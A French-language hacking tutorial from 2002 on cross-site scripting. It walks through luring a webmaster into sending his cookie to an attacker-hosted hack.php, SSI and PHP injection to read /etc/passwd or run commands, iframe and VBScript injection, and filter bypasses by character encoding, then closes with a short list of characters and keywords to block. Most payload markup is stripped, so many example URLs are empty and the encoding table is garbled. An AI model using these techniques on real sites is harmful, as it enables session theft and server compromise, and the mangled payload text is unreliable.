Cross Site Scripting ******************** Introduction ************ Comme j'ai fait un gros tutoriel sur les failles cross site scripting PHPNuke, je vais maintenant approfondir un peu le sujet. Parfois on me dit "ce sont que des failles qui servent à rien"... voyons d'abord comment s'en servir :) La methode d'utilisation du css la plus connue est celle du social engineering avec un lien en html qui contient un code pas gentil. Alors le webmaster se dit "pas grave je vais faire attention" ou il empeche la lecture du html dans la reception des mails. Et bien ce n'est pas suffisant... loin de là. La faille cross site scripting est enormement répandue dans les pages web dynamiques et fort sous-estimée. Rappel : Le "cross site scripting" est une faille permettant, le plus souvent dans une page web dynamique contenant un formulaire, de faire executer du code javascript, html ou autre directement sur le site via une url. Vous pouvez avoir + d'infos au sujet du css ici : http://www.cert.org/advisories/CA-2000-02.html Le SE ***** Commencons par l'utilisation la plus connue du cross site scripting : le social engineering. Literalement : Ingénierie sociale, càd le fait de savoir se comporter avec les gens, une sorte de sciences des contacts sociaux. Ici comme la plupart du temps dans le hack à des fins de tests ou malentionnés. Notre but est donc de faire executer un code par le webmaster. Disons par exemple de prendre son cookie. Bon, je place un fichier php par exemple hack.php sur un serveur . Je me trouve un script script.cgi avec une valeur val qui est atteind de CSS. Pour recuperer le cookie, je doit donc obliger le webmaster à aller à l'url http:///fichier.php?val=+document.cookie. Il nous faudra donc envoyer au webmaster un message de ce genre : " Bonjour, il y a un probleme dans votre site /hack.php?"+document.cookie"> ici " En voyant l'url sur son propre site, le webmaster risque de ne pas se mefier et de cliquer sur le lien. SSI *** Les SSI (Server Side Include) sont des petites commandes éxécutées par le serveur. On peut par exemple s'en servir pour inclure un fichier dans une page : ou On pourra donc l'utiliser comme ceci : http:///scriptwithbug.php?comment= http:///script.php?comment= On peut aussi utiliser les SSI pour rediriger vers une autre url, en remplacant le .htpasswd ou le /etc/passwd par l'url ou on veut que le webmaster se rende. Ou encore faire executer des commandes, comme la commande id pour connaitre l'username du serveur web : http:///script.php?comment= VBS *** Certains elements du vbscript peuvent en effet être executés grâce à du cross site scripting. Essayez par exemple http://host/script.php?val=msgbox%20"VbScRiPt". PHP *** On peut essayer d'inserer des commandes en php grâce aux requetes . On peut par exemple affichier un fichier du disque dur : /script.php?val= ou bien faire executer des commandes : /script.php?val= HTML **** Pour faire afficher une page ou rediriger vers une autre page, il n'y a pas que les cas qui ont été vus ci-dessus. Par exemple la balise IFRAME : ou : ou encore :

ainsi que la balise EMBED, FORM et bien d'autres que je ne connais pas ou dont je ne me rapelle plus. Les filtres *********** Les filtres supprimant par exemple les caracteres < ou " ne sont parfois pas suffisant. Le caractere " peut par exemple être remplacé par son encodage (Latin-1) : " ou encore ". Donc par exemple : www.host.com/form.asp?msg= Ce petit tableau pour rappel, avec les caracteres qui peuvent etre utiles : ! : ! ? : ? " : " [ : [ $ : $ / : / % : % \ : \ ' : ' ] : ] ( : ( ` : ` ) : ) a-z : a-z + : + { : { : : : | : | < : < } : } = : = > : > un peu de culture par Majen : l'euro : € Je n'ai mis ni & ni #, car si ils sont filtrés, il le seront aussi dans ce cas là. Et aussi : " : " < : < > : > & : %26 ! : %21 ? : %3F " : %22 [ : %5B $ : %24 / : %2F \ : %5C ' : %27 ] : %5D ( : %28 ` : %60 ) : %29 + : %2B { : %7B : : %3A | : %7C < : %3C } : %7D = : %3D > : %3E # : %23 a-y : %61-%79 Autre chose... si on a une page du style /script.cgi?tel=03264598714 et quand dans la source on voit qqchose du genre , une possibilité qui a fonctionné par exemple sur le site www.microsoft.com est de commencer le code à inscrire dans la valeur par "> , par exemple /script.cgi?tel=">. Le code source peut être alors interpreté de la sorte : /* le dernier "> etant celui qu'on a inseré au debut de la valeur. Le input est alors fermé /* et "tel" a une valeur vide. /* Vient alors le script... "> /* et la fin du input qui étais là à la base et sera surement interprété comme du texte. Dans le même style vous pouvez aussi essayer '>[SCRIPT] ou [SCRIPT] ou encore ">[SCRIPT]<" . Il faut aussi pouvoir jouer avec les filtres fixés. Imaginez par exemple qu'un filtre repere le mot "script", et s'en debarasse en le supprimant. Essayez alors d'entrer un script dans ce genre : alert('test') Verifiez que un caractere ou un mot ne soit pas remplacé par un caractere sensible. Si par exemple ? n'est pas accepté mais que "cookie" est remplacé par ?, il vous suffira d'entrer qqchoz.php?val= Un dernier truc au niveau filtre... dans certains cas, si ' est interdit, il peut etre remplacé par l'antislash \ . Solution : ********** Normalement, si vous bloquez ces caracteres, vous ne devriez plus avoir de problemes de cross site scripting : <> # & % ! [] . Mais pour + de secu, voici une liste de mots/caracteres, surement pas complete, pouvant être nefastes pour un site : EMBED script VBS " ' location cookie : LINK IFRAME refresh OBJECT onload onStart + = $ * Il y a des scripts anti-cross site scripting déjà tout fait sur cert.org, je n'en ai donc pas fait de nouveaux. Le cross site scripting est une "matière" que je découvre, je ne la maitrise pas parfaitement. J'ai donc prévu une rubrique "mises à jour" pour les eventuels rajouts/corrections. Greetz / dedicated to / Credits : ********************************* Val2, Tobozo, [RaFa], Majen, Wong Family, Entity, C-2K, Cert.org, H3zEN, Skull.Rider, Juliendusud, HX. By frog-m@n (leseulfrog@hotmail.com). 21/01/02 Mises à jour ************ Passed through xLaNT's hands...